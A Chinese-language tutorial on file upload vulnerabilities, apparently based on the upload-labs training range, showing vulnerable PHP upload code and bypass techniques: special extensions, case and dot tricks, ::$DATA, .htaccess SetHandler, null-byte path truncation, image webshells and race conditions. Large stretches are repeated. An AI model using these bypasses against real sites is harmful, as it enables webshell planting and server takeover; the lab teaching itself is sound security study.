原理也很简单,当阿帕奇服务器无法解析一些奇怪的后缀的时候,例如.asfsdfsd这种,就会自动往前搜索可以使用的后缀名.
比如1.php.asfsdsad,就会向前检索为1.php,利用这个特性可以绕过一些黑名单.
3.4::$DATA 文件数据流传输
原理:在后缀名加::DATA后会令后面的数据以文件流的形式进行传输,同时也能保持::$DATA前面的格式,在文件被系统解析后 这段字符会被系统去除(windows系统下)
例如 1.php 抓包分析 可以修改成filename=’1.php::$data’ 实现上传注入后门文件
查看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
相比于之前的代码,少了$file_ext = str_ireplace('::$DATA', '', $file_ext);,这个函数的意思是删除'::$DATA'字符串.
这时我们就可以使用::$DATA绕过.
3.5点绕过
原理:
利用windows特性,会自动去掉后缀名中最后的".",可在后缀名中加"."绕过.
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
对比,发现少了$file_name = deldot($file_name);
deldot函数的作用是删除末尾的点.
这时候就可以使用点绕过.
3.6 双写绕过
当面对in_array这种检测力度不高的函数的时候,它检测的是是不是完全一样.比如"php"和"php.123"对他来说就是不一样的,这时候我们可以使用陌生后缀来绕过.
但是面对
str_ireplace 函数的时候,他的检测力度高,若我们输入php9,会匹配黑名单第一个php,把你删的只剩下’9’一个字符.这时候我们只需要进行双写绕过即可.
这样中间的php三个被删了,还剩下php,因为很多时候没有循环检测机制,所以就可以绕过了.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");<br /><br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = str_ireplace($deny_ext,"", $file_name);<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name; <br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
4. 上传.htaccess)
查看提示:
好家伙,这么多黑名单,不急,给大家介绍一个新的后缀 -- .htaccess
我们先创建一个名为".htaccess"的文件,因为没有文件名只有后缀名,所以有时候可能在桌面新建不了,我们需要在文件夹中新建它.
在文件中写入:
SetHandler application/x-httpd-php
这三行代码的意思是通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含”shell”这个字符串的任意文件,所以无论文件名是什么样子,只要包含”shell”这个字符串,都可以被以 php 的方式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制的文件后缀名随便写但不可以是黑名单里面的后缀,如shell.jpg.将其上传之后,.htaccess 文件调用php 的解析器去解析shell.jpg,从而让一句话木马生效.
5. 00截断原理
0x00是字符串的结束标识符,这样服务器检测到0x00后就停止了向后检测,后面的内容就等于被注释了.依靠这点可以帮助我们绕过检测.
误区
有很多人喜欢在文件名中加进行截断,但其实这种方式是不对的,比如攻击者构造文件名:admintony.phpa.jpg,在提取后缀名的时候遇到则认为字符串结束了,那么他提取到的后缀名会是.php,.php后缀又不允许上传所以上传失败了(这里有必要提一句,有人可能会说在一些情况下,截断文件名可以成功,这种案例你试一下是不是任意文件上传,西普的00截断实验就是一个任意文件上传的上传点,既然是任意文件上传又何必用00截断绕过呢?)
正确用法
那么00截断应该在什么时候使用呢?数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php
为什么修改path才可以,因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名,那么攻击者修改了path以后的拼接结果为:uploads/aaa.php/*********.******,移动文件的时候会将文件保存为uploads/aaa.php,从而达到Getshell效果。
我们先看源码再看实战:
$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $ext_arr = array('jpg','png','gif');<br /> $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);<br /> if(in_array($file_ext,$ext_arr)){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;<br /><br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!";<br /> }<br />}<br /><br />
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$img_path是直接拼接,因此可以利用截断绕过.
通过Burp Suite将save_path=../upload/ HTTP/1.1使用进行截断-> save_path=../upload/shell.php HTTP/1.1
将文件后缀改为允许上传的后缀,在第一行路径处添加如图信息
特别注意!!!
00截断必需条件是php版本号在5.3.4以前(不能包含5.3.4版本),我之前试了很多次都无法成功,换了一关查看那个网页的靶场php版本超过5.3.4了,所以又换了一个靶场.而且php的magic_quotes_gpc要为OFF状态.
另外,如果用的是post传输,我们需要多进行一步解码手段.
记得写完要用burp自带的功能给它解码一下,因为get传输的时候会自动解码,而post传输的时候不会自动解码.
6.图片马及图片马的二次渲染漏洞原理
一般文件内容验证使用getimagesize()、exif_imagetype()检测(当然也可能只检测文件头),会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
本实验就是将一句话木马插入到一个合法的图片文件当中,然后用文件包含漏洞得到连接地址。
图片马的制作
copy a.png /b + a.php /a 3.png<br />/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件<br />/a:指定以ascii格式复制、合并文件用于txt等文本类文件<br /><br /><p>这句话的意思是将a.png和a.php合并为3.png</p>
当然要特别注意:
图片马不能单枪匹马就得到flag,需要和别的手段一起使用才行,比如文件包含漏洞或者条件竞争漏洞才行.
源码:
function isImage($filename){<br /> $types = '.jpeg|.png|.gif';<br /> if(file_exists($filename)){<br /> $info = getimagesize($filename);<br /> $ext = image_type_to_extension($info[2]);<br /> if(stripos($types,$ext)>=0){<br /> return $ext;<br /> }else{<br /> return false;<br /> }<br /> }else{<br /> return false;<br /> }<br />}<br /><br />$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $res = isImage($temp_file);<br /> if(!$res){<br /> $msg = "文件未知,上传失败!";<br /> }else{<br /> $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;<br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = "上传出错!";<br /> }<br /> }<br />}<br /><br />
其他的两关都是类似,只是仅仅换了一下检测图片的函数,目的就是为了检测我们上传的是否是真正的图片.
如果可以看到源码只检测文件头的话,我们只需要在一句话木马前加上 GIF89a,上传php类型的木马即可绕过检测.
图片马的二次渲染二次渲染原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
绕过:
配合文件包含漏洞:将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
如何判断图片是否进行了二次处理?
对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了哪些数据
特别注意!二次渲染我强烈推荐使用GIF格式的,因为jpg和png格式的二次渲染十分复杂,需要用到脚本,GIF的二次渲染算是比较简单.
实验步骤
1、创建一个a.php的脚本文件
2、在cmd命令行中,使用以下命令把1.gif和a.php合成图片马2.gif
3、使用010 Editor16进制编辑器查看2.gif内容,可以看出php代码已经插入图片马中了
4、上传图片马,并复制图片链接进行查看
5、右击复制图片,将图片下载到本地
6、使用010 Editor16进制编辑器打开图片,发现末尾的php代码没有了
GIF绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置
7、使用010 Editor16进制编辑器打开上传前的文件和上传后的文件,并对文件进行比较:
8.蓝色部分就是没有改变的地方,接着我们就可以将一句话木马插入蓝色部分,可以成功连接蚁剑.
7.条件竞争漏洞漏洞原理:
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件.
总结起来一句话,因为服务器要在短时间里处理大量内容,但是解析代码需要时间,所以就会有破绽出来,我们就是利用这短暂的破绽进行绕过.
实验背景
先看源码:
$is_upload = false;<br />$msg = null; //判断文件上传操作<br /><br />if(isset($_POST['submit'])){ //判断是否接收到这个文件<br /> $ext_arr = array('jpg','png','gif'); //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'<br /> $file_name = $_FILES['upload_file']['name']; //获取图片的名字<br /> $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径<br /> $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀<br /> $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。<br /><br /> if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存<br /> if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比<br /> $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果存在,就对文件名进行重构<br /> rename($upload_file, $img_path); //把上面的文件名进行重命名<br /> $is_upload = true;<br /> }else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。<br /> unlink($upload_file);// 并删除这个文件<br /> }<br /> }else{<br /> $msg = '上传出错!';<br /> }<br />}
代码处理流程:声明一个数组,保存着允许上传的文件类型–>获取文件名和文件临时存储路径–>截取文件名–>构造文件上传后的存储路径–>对文件进行转存–>比对白名单,如果存在就对文件进行重命名–>否则就删除文件。通过上面代码我们发现:
服务器先通过move_uploaded_file函数把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致防护被绕过。
我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址,并且访问到这个文件。这时候就会造成条件竞争。
看懂了源码以后,我们模拟一下条件竞争的场景:10000人同时上传文件1.php,另外有10000人在同时访问这个1.php;上传文件时,这个文件会有一段时间留存在服务器的上传目录下,而服务器脚本在进行判断文件是否合法而对文件进行删除时,会有一定的处理时间,可能在某个时间里,服务器还未来得及删除文件,从而导致我们对这个上传文件成功访问。
实验过程
1.首先,改变一下我们的一句话木马
如果你想用一句话木马连接蚁剑的话那就太天真了,就是你运气好连接上蚁剑,也根本没时间查看就会被服务器删掉,所以我们就要猥琐一点,利用fputs()进行写入,当服务器解析解析完这个php文件的时候,我们就已经在该目录下创建了shell2.php了,而这个php文件里有一句话木马,且不是我们用户上传的,所以不会被删除.
2.使用burpsuite进行抓包,拦截代理流量,并把拦截到的数据包发送到Intruder模块
3.清空变量,并无止境地发送空包,模拟大量用户同时上传
为了让服务器解析变得困难点,我们将线程提高到20
设置完之后便可以开始爆破攻击了.以上便是模拟大量用户不停上传的场景,接下来我们要用模拟大量用户模拟访问.
4.使用python脚本模拟用户访问上传目标地址
import requests<br />url = "https://821-3a1ea0ce-39e7-4921 ... %3Bbr />while True:<br /> html = requests.get(url)<br /> if html.status_code == 200:<br /> print("OK")<br /> break<br /> else:<br /> print("NO")
我们可以随便上传一张图片,查看图片链接即可得到上传文件所在的url,将图片名改为我们上传的php文件,我这里是shell.php
这个脚本的意思是不停访问这个网址,直到状态码返回200,即访问成功的意思.若出现OK,代表我们上传成功,即shell2.php也被写入了该目录之下,我们就可以用蚁剑连接了.(记得连接的是shell2.php而不是shell.php,因为shell.php只是为了写入shell2.php的一个工具而已)
当然,如果用的是白名单,我们则需要使用图片马+条件竞争漏洞+文件包含漏洞三方一起才可以成功使用蚁剑连接.
总结
本次的讲解到这里基本就结束了,大家有空可以自己去过一些upload-labs这个靶场,肯定会有一些收获的.当然,文件上传漏洞可不仅仅上上面的这些,我列出来的都是基础,出的题肯定也是很灵活的,但是不管多灵活,只需要有足够扎实的基础以及代码审计能力,相信一定难不倒大家的.
最后,会利用漏洞当然也需要知道相应的防御手段:
不要暴露上传文件的位置
禁用上传文件的执行权限
黑白名单
对上传的文件重命名,不易被猜测
对文件内容进行二次渲染
对上传的内容进行读取检查 查看全部
文件上传漏洞总结
现在我们来到第二关,先看看有没有JS检查
很可惜,没有"纸老虎",那我们只能另寻他法
提示文件类型不正确,猜测是判断后端检测了上传文件的MIME类型.那我们要如何修改?首先使用burp抓包
可以看到content-type现在是显示文本的一个类型,将其改为图片格式,绕过检查
放包
上传成功,之后的步骤和第一关一样连接蚁剑即可.
源码:
3.黑名单绕过
黑名单绕过有比较多的类型:
3.1 上传特殊可解析漏洞
通常网页会给我们上传的内容加上黑名单,即有些特定后缀的文件无法上传,那我们要想办法绕过黑名单的检测
常见的特殊后缀有:.phtml .phps .php5 .pht
一般黑名单禁止上传php类型文件的时候,我们可以将其改为以上几种特殊后缀即可绕过检测.
类似这样即可.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array('.asp','.aspx','.php','.jsp');<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //收尾去空<br /><br /> if(!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; <br /> if (move_uploaded_file($temp_file,$img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}
3.2 大小写绕过
直接看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /><br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
和上一个知识点对比,看看有什么区别
首先是这里的黑名单数量急剧增加,特殊后缀全都被ban了,其次很重要的一点:$file_ext = strtolower($file_ext);消失了.
这个函数代表的是转换为小写字母,如果这个函数消失,并且服务器是区分大小写,这时候我们将php改为pHp即可绕过黑名单.
3.3 陌生后缀解析绕过
这个知识点并没有专门的一关,但是做题目的时候也经常会遇到.
原理也很简单,当阿帕奇服务器无法解析一些奇怪的后缀的时候,例如.asfsdfsd这种,就会自动往前搜索可以使用的后缀名.
比如1.php.asfsdsad,就会向前检索为1.php,利用这个特性可以绕过一些黑名单.
3.4::$DATA 文件数据流传输
原理:在后缀名加::DATA后会令后面的数据以文件流的形式进行传输,同时也能保持::$DATA前面的格式,在文件被系统解析后 这段字符会被系统去除(windows系统下)
例如 1.php 抓包分析 可以修改成filename=’1.php::$data’ 实现上传注入后门文件
查看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
相比于之前的代码,少了$file_ext = str_ireplace('::$DATA', '', $file_ext);,这个函数的意思是删除'::$DATA'字符串.
这时我们就可以使用::$DATA绕过.
3.5点绕过
原理:
利用windows特性,会自动去掉后缀名中最后的".",可在后缀名中加"."绕过.
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
对比,发现少了$file_name = deldot($file_name);
deldot函数的作用是删除末尾的点.
这时候就可以使用点绕过.
3.6 双写绕过
当面对in_array这种检测力度不高的函数的时候,它检测的是是不是完全一样.比如"php"和"php.123"对他来说就是不一样的,这时候我们可以使用陌生后缀来绕过.
但是面对
str_ireplace 函数的时候,他的检测力度高,若我们输入php9,会匹配黑名单第一个php,把你删的只剩下’9’一个字符.这时候我们只需要进行双写绕过即可.
这样中间的php三个被删了,还剩下php,因为很多时候没有循环检测机制,所以就可以绕过了.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");<br /><br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = str_ireplace($deny_ext,"", $file_name);<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name; <br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
4. 上传.htaccess)
查看提示:
好家伙,这么多黑名单,不急,给大家介绍一个新的后缀 -- .htaccess
我们先创建一个名为".htaccess"的文件,因为没有文件名只有后缀名,所以有时候可能在桌面新建不了,我们需要在文件夹中新建它.
在文件中写入:
SetHandler application/x-httpd-php
这三行代码的意思是通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含”shell”这个字符串的任意文件,所以无论文件名是什么样子,只要包含”shell”这个字符串,都可以被以 php 的方式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制的文件后缀名随便写但不可以是黑名单里面的后缀,如shell.jpg.将其上传之后,.htaccess 文件调用php 的解析器去解析shell.jpg,从而让一句话木马生效.
5. 00截断原理
0x00是字符串的结束标识符,这样服务器检测到0x00后就停止了向后检测,后面的内容就等于被注释了.依靠这点可以帮助我们绕过检测.
误区
有很多人喜欢在文件名中加进行截断,但其实这种方式是不对的,比如攻击者构造文件名:admintony.phpa.jpg,在提取后缀名的时候遇到则认为字符串结束了,那么他提取到的后缀名会是.php,.php后缀又不允许上传所以上传失败了(这里有必要提一句,有人可能会说在一些情况下,截断文件名可以成功,这种案例你试一下是不是任意文件上传,西普的00截断实验就是一个任意文件上传的上传点,既然是任意文件上传又何必用00截断绕过呢?)
正确用法
那么00截断应该在什么时候使用呢?数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php
为什么修改path才可以,因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名,那么攻击者修改了path以后的拼接结果为:uploads/aaa.php/*********.******,移动文件的时候会将文件保存为uploads/aaa.php,从而达到Getshell效果。
我们先看源码再看实战:
$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $ext_arr = array('jpg','png','gif');<br /> $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);<br /> if(in_array($file_ext,$ext_arr)){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;<br /><br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!";<br /> }<br />}<br /><br />
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$img_path是直接拼接,因此可以利用截断绕过.
通过Burp Suite将save_path=../upload/ HTTP/1.1使用进行截断-> save_path=../upload/shell.php HTTP/1.1
将文件后缀改为允许上传的后缀,在第一行路径处添加如图信息
特别注意!!!
00截断必需条件是php版本号在5.3.4以前(不能包含5.3.4版本),我之前试了很多次都无法成功,换了一关查看那个网页的靶场php版本超过5.3.4了,所以又换了一个靶场.而且php的magic_quotes_gpc要为OFF状态.
另外,如果用的是post传输,我们需要多进行一步解码手段.
记得写完要用burp自带的功能给它解码一下,因为get传输的时候会自动解码,而post传输的时候不会自动解码.
6.图片马及图片马的二次渲染漏洞原理
一般文件内容验证使用getimagesize()、exif_imagetype()检测(当然也可能只检测文件头),会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
本实验就是将一句话木马插入到一个合法的图片文件当中,然后用文件包含漏洞得到连接地址。
图片马的制作
copy a.png /b + a.php /a 3.png<br />/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件<br />/a:指定以ascii格式复制、合并文件用于txt等文本类文件<br /><br /><p>这句话的意思是将a.png和a.php合并为3.png</p>
当然要特别注意:
图片马不能单枪匹马就得到flag,需要和别的手段一起使用才行,比如文件包含漏洞或者条件竞争漏洞才行.
源码:
function isImage($filename){<br /> $types = '.jpeg|.png|.gif';<br /> if(file_exists($filename)){<br /> $info = getimagesize($filename);<br /> $ext = image_type_to_extension($info[2]);<br /> if(stripos($types,$ext)>=0){<br /> return $ext;<br /> }else{<br /> return false;<br /> }<br /> }else{<br /> return false;<br /> }<br />}<br /><br />$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $res = isImage($temp_file);<br /> if(!$res){<br /> $msg = "文件未知,上传失败!";<br /> }else{<br /> $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;<br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = "上传出错!";<br /> }<br /> }<br />}<br /><br />
其他的两关都是类似,只是仅仅换了一下检测图片的函数,目的就是为了检测我们上传的是否是真正的图片.
如果可以看到源码只检测文件头的话,我们只需要在一句话木马前加上 GIF89a,上传php类型的木马即可绕过检测.
图片马的二次渲染二次渲染原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
绕过:
配合文件包含漏洞:将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
如何判断图片是否进行了二次处理?
对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了哪些数据
